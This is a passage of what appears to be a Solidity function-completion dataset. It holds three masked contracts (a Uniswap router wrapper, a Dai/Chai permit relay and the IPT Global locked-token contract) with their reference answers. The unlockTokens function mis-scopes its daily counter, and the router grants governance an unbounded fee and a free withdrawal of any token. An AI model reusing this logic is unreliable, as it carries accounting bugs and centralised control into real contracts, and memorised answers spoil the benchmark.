* This function allows governance to take unsupported tokens out of the contract.
* This is in an effort to make someone whole, should they seriously mess up.
* There is no guarantee governance will vote to return these.
* It also allows for removal of airdropped tokens.
*/
function governanceRecoverUnsupported(ITokenInterface _token, uint256 amount, address to) external {<FILL_FUNCTION_BODY> }
} | contract UniswapRouterSupportingFeeOnTransferTokens is IValueLiquidPool, IUniswapRouter {
using SafeMath for uint256;
address public governance;
IUniswapRouter public unirouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint256 public constant FEE_DENOMINATOR = 10000;
uint256 public performanceFee = 0; // 0% at start and can be set by governance decision
mapping(address => mapping(address => address[])) public uniswapPaths; // [input -> output] => uniswap_path
mapping(address => bool) public hasTransferFee; // token_address => has_transfer_fee
constructor(address _tokenHasTransferFee) public {
hasTransferFee[_tokenHasTransferFee] = true;
governance = msg.sender;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function approveForSpender(ITokenInterface _token, address _spender, uint256 _amount) external {
require(msg.sender == governance, "!governance");
_token.approve(_spender, _amount);
}
function setUnirouter(IUniswapRouter _unirouter) external {
require(msg.sender == governance, "!governance");
unirouter = _unirouter;
}
function setPerformanceFee(uint256 _performanceFee) public {
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function setHasTransferFee(address _token, bool _hasFee) public {
require(msg.sender == governance, "!governance");
hasTransferFee[_token] = _hasFee;
}
function setUnirouterPath(address _input, address _output, address [] memory _path) public {
require(msg.sender == governance, "!governance");
uniswapPaths[_input][_output] = _path;
}
function swapExactAmountIn(address _tokenIn, uint _tokenAmountIn, address _tokenOut, uint _minAmountOut, uint) external override returns (uint _tokenAmountOut, uint) {
address[] memory path = uniswapPaths[_tokenIn][_tokenOut];
if (path.length == 0) {
// path: _input -> _output
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
}
ITokenInterface input = ITokenInterface(_tokenIn);
ITokenInterface output = ITokenInterface(_tokenOut);
input.transferFrom(msg.sender, address(this), _tokenAmountIn);
if (performanceFee > 0) {
uint256 performanceFeeAmount = _tokenAmountIn.mul(performanceFee).div(FEE_DENOMINATOR);
_tokenAmountIn = _tokenAmountIn.sub(performanceFeeAmount);
input.transfer(governance, performanceFeeAmount);
}
if (hasTransferFee[_tokenIn] || hasTransferFee[_tokenOut]) {
// swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, amountOutMin, path, to, deadline)
unirouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(_tokenAmountIn, _minAmountOut, path, msg.sender, now.add(1800));
} else {
// swapExactTokensForTokens(amountIn, amountOutMin, path, to, deadline)
unirouter.swapExactTokensForTokens(_tokenAmountIn, _minAmountOut, path, msg.sender, now.add(1800));
}
_tokenAmountOut = output.balanceOf(address(this));
output.transfer(msg.sender, _tokenAmountOut);
}
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external override returns (uint256[] memory amounts) {
ITokenInterface input = ITokenInterface(_path[0]);
input.transferFrom(msg.sender, address(this), _amountIn);
if (performanceFee > 0) {
uint256 performanceFeeAmount = _amountIn.mul(performanceFee).div(FEE_DENOMINATOR);
_amountIn = _amountIn.sub(performanceFeeAmount);
input.transfer(governance, performanceFeeAmount);
}
amounts = unirouter.swapExactTokensForTokens(_amountIn, _amountOutMin, _path, _to, _deadline);
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external override returns (uint256[] memory amounts) {
ITokenInterface input = ITokenInterface(_path[0]);
input.transferFrom(msg.sender, address(this), _amountIn);
if (performanceFee > 0) {
uint256 performanceFeeAmount = _amountIn.mul(performanceFee).div(FEE_DENOMINATOR);
_amountIn = _amountIn.sub(performanceFeeAmount);
input.transfer(governance, performanceFeeAmount);
}
amounts = unirouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(_amountIn, _amountOutMin, _path, _to, _deadline);
}
<FILL_FUNCTION>
} |
require(msg.sender == governance, "!governance");
_token.transfer(to, amount);
| function governanceRecoverUnsupported(ITokenInterface _token, uint256 amount, address to) external | /**
* This function allows governance to take unsupported tokens out of the contract.
* This is in an effort to make someone whole, should they seriously mess up.
* There is no guarantee governance will vote to return these.
* It also allows for removal of airdropped tokens.
*/
function governanceRecoverUnsupported(ITokenInterface _token, uint256 amount, address to) external |
52883 | withPermit | daiSwap | contract withPermit {
struct signedPermit {
address holder;
address spender;
uint256 nonce;
uint256 expiry;
bool allowed;
uint8 v;
bytes32 r;
bytes32 s;
}
DaiLike public constant dai = DaiLike(0x6B175474E89094C44Da98b954EedeAC495271d0F);
DaiLike public constant chai = DaiLike(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215);
DachLike public constant dach = DachLike(0x64043a98f097fD6ef0D3ad41588a6B0424723b3a);
function daiCheque(address sender, address receiver, uint amount, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata daiPermit) external {
dai.permit(daiPermit.holder, daiPermit.spender, daiPermit.nonce, daiPermit.expiry,
daiPermit.allowed, daiPermit.v, daiPermit.r, daiPermit.s);
dach.daiCheque(sender, receiver, amount, fee, nonce, expiry, relayer, v, r, s);
}
function daiSwap(address sender, uint amount, uint min_eth, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata daiPermit) external returns (uint256) {<FILL_FUNCTION_BODY> }
function joinChai(address sender, address receiver, uint amount, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata daiPermit) external {
dai.permit(daiPermit.holder, daiPermit.spender, daiPermit.nonce, daiPermit.expiry,
daiPermit.allowed, daiPermit.v, daiPermit.r, daiPermit.s);
dach.joinChai(sender, receiver, amount, fee, nonce, expiry, relayer, v, r, s);
}
function chaiSwap(address sender, uint amount, uint min_eth, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata chaiPermit) external returns (uint256) {
chai.permit(chaiPermit.holder, chaiPermit.spender, chaiPermit.nonce, chaiPermit.expiry,
chaiPermit.allowed, chaiPermit.v, chaiPermit.r, chaiPermit.s);
return dach.chaiSwap(sender, amount, min_eth, fee, nonce, expiry, relayer, v, r, s);
}
function chaiCheque(address sender, address receiver, uint amount, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata chaiPermit) external {
chai.permit(chaiPermit.holder, chaiPermit.spender, chaiPermit.nonce, chaiPermit.expiry,
chaiPermit.allowed, chaiPermit.v, chaiPermit.r, chaiPermit.s);
dach.chaiCheque(sender, receiver, amount, fee, nonce, expiry, relayer, v, r, s);
}
function exitChai(address sender, address receiver, uint amount, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata chaiPermit) external {
chai.permit(chaiPermit.holder, chaiPermit.spender, chaiPermit.nonce, chaiPermit.expiry,
chaiPermit.allowed, chaiPermit.v, chaiPermit.r, chaiPermit.s);
dach.exitChai(sender, receiver, amount, fee, nonce, expiry, relayer, v, r, s);
}
} | contract withPermit {
struct signedPermit {
address holder;
address spender;
uint256 nonce;
uint256 expiry;
bool allowed;
uint8 v;
bytes32 r;
bytes32 s;
}
DaiLike public constant dai = DaiLike(0x6B175474E89094C44Da98b954EedeAC495271d0F);
DaiLike public constant chai = DaiLike(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215);
DachLike public constant dach = DachLike(0x64043a98f097fD6ef0D3ad41588a6B0424723b3a);
function daiCheque(address sender, address receiver, uint amount, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata daiPermit) external {
dai.permit(daiPermit.holder, daiPermit.spender, daiPermit.nonce, daiPermit.expiry,
daiPermit.allowed, daiPermit.v, daiPermit.r, daiPermit.s);
dach.daiCheque(sender, receiver, amount, fee, nonce, expiry, relayer, v, r, s);
}
<FILL_FUNCTION>
function joinChai(address sender, address receiver, uint amount, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata daiPermit) external {
dai.permit(daiPermit.holder, daiPermit.spender, daiPermit.nonce, daiPermit.expiry,
daiPermit.allowed, daiPermit.v, daiPermit.r, daiPermit.s);
dach.joinChai(sender, receiver, amount, fee, nonce, expiry, relayer, v, r, s);
}
function chaiSwap(address sender, uint amount, uint min_eth, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata chaiPermit) external returns (uint256) {
chai.permit(chaiPermit.holder, chaiPermit.spender, chaiPermit.nonce, chaiPermit.expiry,
chaiPermit.allowed, chaiPermit.v, chaiPermit.r, chaiPermit.s);
return dach.chaiSwap(sender, amount, min_eth, fee, nonce, expiry, relayer, v, r, s);
}
function chaiCheque(address sender, address receiver, uint amount, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata chaiPermit) external {
chai.permit(chaiPermit.holder, chaiPermit.spender, chaiPermit.nonce, chaiPermit.expiry,
chaiPermit.allowed, chaiPermit.v, chaiPermit.r, chaiPermit.s);
dach.chaiCheque(sender, receiver, amount, fee, nonce, expiry, relayer, v, r, s);
}
function exitChai(address sender, address receiver, uint amount, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata chaiPermit) external {
chai.permit(chaiPermit.holder, chaiPermit.spender, chaiPermit.nonce, chaiPermit.expiry,
chaiPermit.allowed, chaiPermit.v, chaiPermit.r, chaiPermit.s);
dach.exitChai(sender, receiver, amount, fee, nonce, expiry, relayer, v, r, s);
}
} |
dai.permit(daiPermit.holder, daiPermit.spender, daiPermit.nonce, daiPermit.expiry,
daiPermit.allowed, daiPermit.v, daiPermit.r, daiPermit.s);
return dach.daiSwap(sender, amount, min_eth, fee, nonce, expiry, relayer, v, r, s);
| function daiSwap(address sender, uint amount, uint min_eth, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata daiPermit) external returns (uint256) | function daiSwap(address sender, uint amount, uint min_eth, uint fee, uint nonce,
uint expiry, address relayer, uint8 v, bytes32 r, bytes32 s,
signedPermit calldata daiPermit) external returns (uint256) |
91508 | IPTGlobal | removeExclusionFromTokenUnlocks | contract IPTGlobal is ERC20Interface, Ownable {
using SafeMath for uint256;
//Name of the token.
string internal constant NAME = "IPT Global";
//Symbol of the token.
string internal constant SYMBOL = "IPT";
//Granularity of the token.
uint8 internal constant DECIMALS = 8;
//Factor for numerical calculations.
uint256 internal constant DECIMALFACTOR = 10 ** uint(DECIMALS);
//Total supply of IPT Global tokens.
uint256 internal constant TOTAL_SUPPLY = 300000000 * uint256(DECIMALFACTOR);
//Base unlocking value used to calculate fractional percentage of 0.2 %
uint8 internal constant unlockingValue = 2;
//Base unlocking numerator used to calculate fractional percentage of 0.2 %
uint8 internal constant unlockingNumerator = 10;
//Allows admin to call a getter which tracks latest/daily unlocked tokens
uint256 private unlockedTokensDaily;
//Allows admin to call a getter which tracks total unlocked tokens
uint256 private unlockedTokensTotal;
address[] uniqueLockedTokenReceivers;
//Stores uniqueness of all locked token recipients.
mapping(address => bool) internal uniqueLockedTokenReceiver;
//Stores all locked IPT Global token holders.
mapping(address => bool) internal isHoldingLockedTokens;
//Stores excluded recipients who will not be effected by token unlocking.
mapping(address => bool) internal excludedFromTokenUnlock;
//Stores and tracks locked IPT Global token balances.
mapping(address => uint256) internal lockedTokenBalance;
//Stores the balance of IPT Global holders (complies with ERC-Standard).
mapping(address => uint256) internal balances;
//Stores any allowances given to other IPT Global holders.
mapping(address => mapping(address => uint256)) internal allowed;
event HoldingLockedTokens(
address recipient,
uint256 lockedTokenBalance,
bool isHoldingLockedTokens);
event LockedTokensTransferred(
address recipient,
uint256 lockedTokens,
uint256 lockedTokenBalance);
event TokensUnlocked(
address recipient,
uint256 unlockedTokens,
uint256 lockedTokenBalance);
event LockedTokenBalanceChanged(
address recipient,
uint256 unlockedTokens,
uint256 lockedTokenBalance);
event ExcludedFromTokenUnlocks(
address recipient,
bool excludedFromTokenUnlocks);
event CompleteTokenBalanceUnlocked(
address recipient,
uint256 lockedTokenBalance,
bool isHoldingLockedTokens,
bool completeTokenBalanceUnlocked);
/**
* @dev constructor sets initialises and configurates the smart contract.
* More specifically, it grants the smart contract owner the total supply
* of IPT Global tokens.
*/
constructor() public {
balances[msg.sender] = TOTAL_SUPPLY;
}
/**
* @dev allows owner to transfer tokens which are locked by default.
* @param _recipient is the addresses which will receive locked tokens.
* @param _lockedTokens is the amount of locked tokens to distribute.
* and therefore requires unlocking to be transferable.
*/
function lockedTokenTransfer(address[] _recipient, uint256[] _lockedTokens) external onlyOwner {
for (uint256 i = 0; i < _recipient.length; i++) {
if (!uniqueLockedTokenReceiver[_recipient[i]]) {
uniqueLockedTokenReceiver[_recipient[i]] = true;
uniqueLockedTokenReceivers.push(_recipient[i]);
}
isHoldingLockedTokens[_recipient[i]] = true;
lockedTokenBalance[_recipient[i]] = lockedTokenBalance[_recipient[i]].add(_lockedTokens[i]);
transfer(_recipient[i], _lockedTokens[i]);
emit HoldingLockedTokens(_recipient[i], _lockedTokens[i], isHoldingLockedTokens[_recipient[i]]);
emit LockedTokensTransferred(_recipient[i], _lockedTokens[i], lockedTokenBalance[_recipient[i]]);
}
}
/**
* @dev allows owner to change the locked balance of a recipient manually.
* @param _owner is the address of the locked token balance to unlock.
* @param _unlockedTokens is the amount of locked tokens to unlock.
*/
function changeLockedBalanceManually(address _owner, uint256 _unlockedTokens) external onlyOwner {
require(_owner != address(0));
require(_unlockedTokens <= lockedTokenBalance[_owner]);
require(isHoldingLockedTokens[_owner]);
require(!excludedFromTokenUnlock[_owner]);
lockedTokenBalance[_owner] = lockedTokenBalance[_owner].sub(_unlockedTokens);
emit LockedTokenBalanceChanged(_owner, _unlockedTokens, lockedTokenBalance[_owner]);
unlockedTokensDaily = unlockedTokensDaily.add(_unlockedTokens);
unlockedTokensTotal = unlockedTokensTotal.add(_unlockedTokens);
if (lockedTokenBalance[_owner] == 0) {
isHoldingLockedTokens[_owner] = false;
emit CompleteTokenBalanceUnlocked(_owner, lockedTokenBalance[_owner], isHoldingLockedTokens[_owner], true);
}
}
/**
* @dev allows owner to unlock 0.2% of locked token balances, be careful with implementation of
* loops over large arrays, could result in block limit issues.
* should be called once a day as per specifications.
*/
function unlockTokens() external onlyOwner {
for (uint256 i = 0; i < uniqueLockedTokenReceivers.length; i++) {
if (isHoldingLockedTokens[uniqueLockedTokenReceivers[i]] &&
!excludedFromTokenUnlock[uniqueLockedTokenReceivers[i]]) {
uint256 unlockedTokens = (lockedTokenBalance[uniqueLockedTokenReceivers[i]].mul(unlockingValue).div(unlockingNumerator)).div(100);
lockedTokenBalance[uniqueLockedTokenReceivers[i]] = lockedTokenBalance[uniqueLockedTokenReceivers[i]].sub(unlockedTokens);
uint256 unlockedTokensToday = unlockedTokensToday.add(unlockedTokens);
emit TokensUnlocked(uniqueLockedTokenReceivers[i], unlockedTokens, lockedTokenBalance[uniqueLockedTokenReceivers[i]]);
}
if (lockedTokenBalance[uniqueLockedTokenReceivers[i]] == 0) {
isHoldingLockedTokens[uniqueLockedTokenReceivers[i]] = false;
emit CompleteTokenBalanceUnlocked(uniqueLockedTokenReceivers[i], lockedTokenBalance[uniqueLockedTokenReceivers[i]], isHoldingLockedTokens[uniqueLockedTokenReceivers[i]], true);
}
}
unlockedTokensDaily = unlockedTokensToday;
unlockedTokensTotal = unlockedTokensTotal.add(unlockedTokensDaily);
}
/**
* @dev allows owner to exclude certain recipients from having their locked token balance unlocked.
* @param _excludedRecipients is the addresses to add token unlock exclusion for.
* @return a boolean representing whether the function was executed succesfully.
*/
function addExclusionFromTokenUnlocks(address[] _excludedRecipients) external onlyOwner returns (bool) {
for (uint256 i = 0; i < _excludedRecipients.length; i++) {
excludedFromTokenUnlock[_excludedRecipients[i]] = true;
emit ExcludedFromTokenUnlocks(_excludedRecipients[i], excludedFromTokenUnlock[_excludedRecipients[i]]);
}
return true;
}
/**
* @dev allows owner to remove any exclusion from certain recipients, allowing their locked token balance to be unlockable again.
* @param _excludedRecipients is the addresses to remove unlock token exclusion from.
* @return a boolean representing whether the function was executed succesfully.
*/
function removeExclusionFromTokenUnlocks(address[] _excludedRecipients) external onlyOwner returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev allows anyone to check the unlocked and locked token balance of a recipient.
* @param _owner is the address of the locked token balance to check.
* @return a uint256 representing the locked and unlocked token balances.
*/
function checkTokenBalanceState(address _owner) external view returns(uint256 unlockedBalance, uint256 lockedBalance) {
return (balanceOf(_owner).sub(lockedTokenBalance[_owner]), lockedTokenBalance[_owner]);
}
/**
* @dev allows anyone to check the a list of all locked token recipients.
* @return an address array representing the list of recipients.
*/
function checkUniqueLockedTokenReceivers() external view returns (address[]) {
return uniqueLockedTokenReceivers;
}
/**
* @dev allows checking of the daily and total amount of unlocked tokens.
* @return an uint representing the daily and total unlocked value.
*/
function checkUnlockedTokensData() external view returns (uint256 unlockedDaily, uint256 unlockedTotal) {
return (unlockedTokensDaily, unlockedTokensTotal);
}
/**
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @return a boolean representing whether the function was executed succesfully.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if (isHoldingLockedTokens[msg.sender]) {
require(_value <= balances[msg.sender].sub(lockedTokenBalance[msg.sender]));
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
* @return a boolean representing whether the function was executed succesfully.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
if (isHoldingLockedTokens[_from]) {
require(_value <= balances[_from].sub(lockedTokenBalance[_from]));
require(_value <= allowed[_from][msg.sender]);
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
* @return a boolean representing whether the function was executed succesfully.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev balanceOf function gets the balance of the specified address.
* @param _owner The address to query the balance of.
* @return An uint256 representing the token balance of the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev allowance function checks the amount of tokens allowed by an owner for a spender to spend.
* @param _owner address is the address which owns the spendable funds.
* @param _spender address is the address which will spend the owned funds.
* @return A uint256 specifying the amount of tokens which are still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev totalSupply function returns the total supply of tokens.
*/
function totalSupply() public view returns (uint256) {
return TOTAL_SUPPLY;
}
/**
* @dev decimals function returns the decimal units of the token.
*/
function decimals() public view returns (uint8) {
return DECIMALS;
}
/**
* @dev symbol function returns the symbol ticker of the token.
*/
function symbol() public view returns (string) {
return SYMBOL;
}
/**
* @dev name function returns the name of the token.
*/
function name() public view returns (string) {
return NAME;
}
} | contract IPTGlobal is ERC20Interface, Ownable {
using SafeMath for uint256;
//Name of the token.
string internal constant NAME = "IPT Global";
//Symbol of the token.
string internal constant SYMBOL = "IPT";
//Granularity of the token.
uint8 internal constant DECIMALS = 8;
//Factor for numerical calculations.
uint256 internal constant DECIMALFACTOR = 10 ** uint(DECIMALS);
//Total supply of IPT Global tokens.
uint256 internal constant TOTAL_SUPPLY = 300000000 * uint256(DECIMALFACTOR);
//Base unlocking value used to calculate fractional percentage of 0.2 %
uint8 internal constant unlockingValue = 2;
//Base unlocking numerator used to calculate fractional percentage of 0.2 %
uint8 internal constant unlockingNumerator = 10;
//Allows admin to call a getter which tracks latest/daily unlocked tokens
uint256 private unlockedTokensDaily;
//Allows admin to call a getter which tracks total unlocked tokens
uint256 private unlockedTokensTotal;
address[] uniqueLockedTokenReceivers;
//Stores uniqueness of all locked token recipients.
mapping(address => bool) internal uniqueLockedTokenReceiver;
//Stores all locked IPT Global token holders.
mapping(address => bool) internal isHoldingLockedTokens;
//Stores excluded recipients who will not be effected by token unlocking.
mapping(address => bool) internal excludedFromTokenUnlock;
//Stores and tracks locked IPT Global token balances.
mapping(address => uint256) internal lockedTokenBalance;
//Stores the balance of IPT Global holders (complies with ERC-Standard).
mapping(address => uint256) internal balances;
//Stores any allowances given to other IPT Global holders.
mapping(address => mapping(address => uint256)) internal allowed;
event HoldingLockedTokens(
address recipient,
uint256 lockedTokenBalance,
bool isHoldingLockedTokens);
event LockedTokensTransferred(
address recipient,
uint256 lockedTokens,
uint256 lockedTokenBalance);
event TokensUnlocked(
address recipient,
uint256 unlockedTokens,
uint256 lockedTokenBalance);
event LockedTokenBalanceChanged(
address recipient,
uint256 unlockedTokens,
uint256 lockedTokenBalance);
event ExcludedFromTokenUnlocks(
address recipient,
bool excludedFromTokenUnlocks);
event CompleteTokenBalanceUnlocked(
address recipient,
uint256 lockedTokenBalance,
bool isHoldingLockedTokens,
bool completeTokenBalanceUnlocked);
/**
* @dev constructor sets initialises and configurates the smart contract.
* More specifically, it grants the smart contract owner the total supply
* of IPT Global tokens.
*/
constructor() public {
balances[msg.sender] = TOTAL_SUPPLY;
}
/**
* @dev allows owner to transfer tokens which are locked by default.
* @param _recipient is the addresses which will receive locked tokens.
* @param _lockedTokens is the amount of locked tokens to distribute.
* and therefore requires unlocking to be transferable.
*/
function lockedTokenTransfer(address[] _recipient, uint256[] _lockedTokens) external onlyOwner {
for (uint256 i = 0; i < _recipient.length; i++) {
if (!uniqueLockedTokenReceiver[_recipient[i]]) {
uniqueLockedTokenReceiver[_recipient[i]] = true;
uniqueLockedTokenReceivers.push(_recipient[i]);
}
isHoldingLockedTokens[_recipient[i]] = true;
lockedTokenBalance[_recipient[i]] = lockedTokenBalance[_recipient[i]].add(_lockedTokens[i]);
transfer(_recipient[i], _lockedTokens[i]);
emit HoldingLockedTokens(_recipient[i], _lockedTokens[i], isHoldingLockedTokens[_recipient[i]]);
emit LockedTokensTransferred(_recipient[i], _lockedTokens[i], lockedTokenBalance[_recipient[i]]);
}
}
/**
* @dev allows owner to change the locked balance of a recipient manually.
* @param _owner is the address of the locked token balance to unlock.
* @param _unlockedTokens is the amount of locked tokens to unlock.
*/
function changeLockedBalanceManually(address _owner, uint256 _unlockedTokens) external onlyOwner {
require(_owner != address(0));
require(_unlockedTokens <= lockedTokenBalance[_owner]);
require(isHoldingLockedTokens[_owner]);
require(!excludedFromTokenUnlock[_owner]);
lockedTokenBalance[_owner] = lockedTokenBalance[_owner].sub(_unlockedTokens);
emit LockedTokenBalanceChanged(_owner, _unlockedTokens, lockedTokenBalance[_owner]);
unlockedTokensDaily = unlockedTokensDaily.add(_unlockedTokens);
unlockedTokensTotal = unlockedTokensTotal.add(_unlockedTokens);
if (lockedTokenBalance[_owner] == 0) {
isHoldingLockedTokens[_owner] = false;
emit CompleteTokenBalanceUnlocked(_owner, lockedTokenBalance[_owner], isHoldingLockedTokens[_owner], true);
}
}
/**
* @dev allows owner to unlock 0.2% of locked token balances, be careful with implementation of
* loops over large arrays, could result in block limit issues.
* should be called once a day as per specifications.
*/
function unlockTokens() external onlyOwner {
for (uint256 i = 0; i < uniqueLockedTokenReceivers.length; i++) {
if (isHoldingLockedTokens[uniqueLockedTokenReceivers[i]] &&
!excludedFromTokenUnlock[uniqueLockedTokenReceivers[i]]) {
uint256 unlockedTokens = (lockedTokenBalance[uniqueLockedTokenReceivers[i]].mul(unlockingValue).div(unlockingNumerator)).div(100);
lockedTokenBalance[uniqueLockedTokenReceivers[i]] = lockedTokenBalance[uniqueLockedTokenReceivers[i]].sub(unlockedTokens);
uint256 unlockedTokensToday = unlockedTokensToday.add(unlockedTokens);
emit TokensUnlocked(uniqueLockedTokenReceivers[i], unlockedTokens, lockedTokenBalance[uniqueLockedTokenReceivers[i]]);
}
if (lockedTokenBalance[uniqueLockedTokenReceivers[i]] == 0) {
isHoldingLockedTokens[uniqueLockedTokenReceivers[i]] = false;
emit CompleteTokenBalanceUnlocked(uniqueLockedTokenReceivers[i], lockedTokenBalance[uniqueLockedTokenReceivers[i]], isHoldingLockedTokens[uniqueLockedTokenReceivers[i]], true);
}
}
unlockedTokensDaily = unlockedTokensToday;
unlockedTokensTotal = unlockedTokensTotal.add(unlockedTokensDaily);
}
/**
* @dev allows owner to exclude certain recipients from having their locked token balance unlocked.
* @param _excludedRecipients is the addresses to add token unlock exclusion for.
* @return a boolean representing whether the function was executed succesfully.
*/
function addExclusionFromTokenUnlocks(address[] _excludedRecipients) external onlyOwner returns (bool) {
for (uint256 i = 0; i < _excludedRecipients.length; i++) {
excludedFromTokenUnlock[_excludedRecipients[i]] = true;
emit ExcludedFromTokenUnlocks(_excludedRecipients[i], excludedFromTokenUnlock[_excludedRecipients[i]]);
}
return true;
}
<FILL_FUNCTION>
/**
* @dev allows anyone to check the unlocked and locked token balance of a recipient.
* @param _owner is the address of the locked token balance to check.
* @return a uint256 representing the locked and unlocked token balances.
*/
function checkTokenBalanceState(address _owner) external view returns(uint256 unlockedBalance, uint256 lockedBalance) {
return (balanceOf(_owner).sub(lockedTokenBalance[_owner]), lockedTokenBalance[_owner]);
}
/**
* @dev allows anyone to check the a list of all locked token recipients.
* @return an address array representing the list of recipients.
*/
function checkUniqueLockedTokenReceivers() external view returns (address[]) {
return uniqueLockedTokenReceivers;
}
/**
* @dev allows checking of the daily and total amount of unlocked tokens.
* @return an uint representing the daily and total unlocked value.
*/
function checkUnlockedTokensData() external view returns (uint256 unlockedDaily, uint256 unlockedTotal) {
return (unlockedTokensDaily, unlockedTokensTotal);
}
/**
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @return a boolean representing whether the function was executed succesfully.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if (isHoldingLockedTokens[msg.sender]) {
require(_value <= balances[msg.sender].sub(lockedTokenBalance[msg.sender]));
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
* @return a boolean representing whether the function was executed succesfully.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
if (isHoldingLockedTokens[_from]) {
require(_value <= balances[_from].sub(lockedTokenBalance[_from]));
require(_value <= allowed[_from][msg.sender]);
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
* @return a boolean representing whether the function was executed succesfully.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev balanceOf function gets the balance of the specified address.
* @param _owner The address to query the balance of.
* @return An uint256 representing the token balance of the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev allowance function checks the amount of tokens allowed by an owner for a spender to spend.
* @param _owner address is the address which owns the spendable funds.
* @param _spender address is the address which will spend the owned funds.
* @return A uint256 specifying the amount of tokens which are still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev totalSupply function returns the total supply of tokens.
*/
function totalSupply() public view returns (uint256) {
return TOTAL_SUPPLY;
}
/**
* @dev decimals function returns the decimal units of the token.
*/
function decimals() public view returns (uint8) {
return DECIMALS;
}
/**
* @dev symbol function returns the symbol ticker of the token.
*/
function symbol() public view returns (string) {
return SYMBOL;
}
/**
* @dev name function returns the name of the token.
*/
function name() public view returns (string) {
return NAME;
}
} |
for (uint256 i = 0; i < _excludedRecipients.length; i++) {
excludedFromTokenUnlock[_excludedRecipients[i]] = false;
emit ExcludedFromTokenUnlocks(_excludedRecipients[i], excludedFromTokenUnlock[_excludedRecipients[i]]);
}
return true;
| function removeExclusionFromTokenUnlocks(address[] _excludedRecipients) external onlyOwner returns (bool) | /**
* @dev allows owner to remove any exclusion from certain recipients, allowing their locked token balance to be unlockable again.
* @param _excludedRecipients is the addresses to remove unlock token exclusion from.
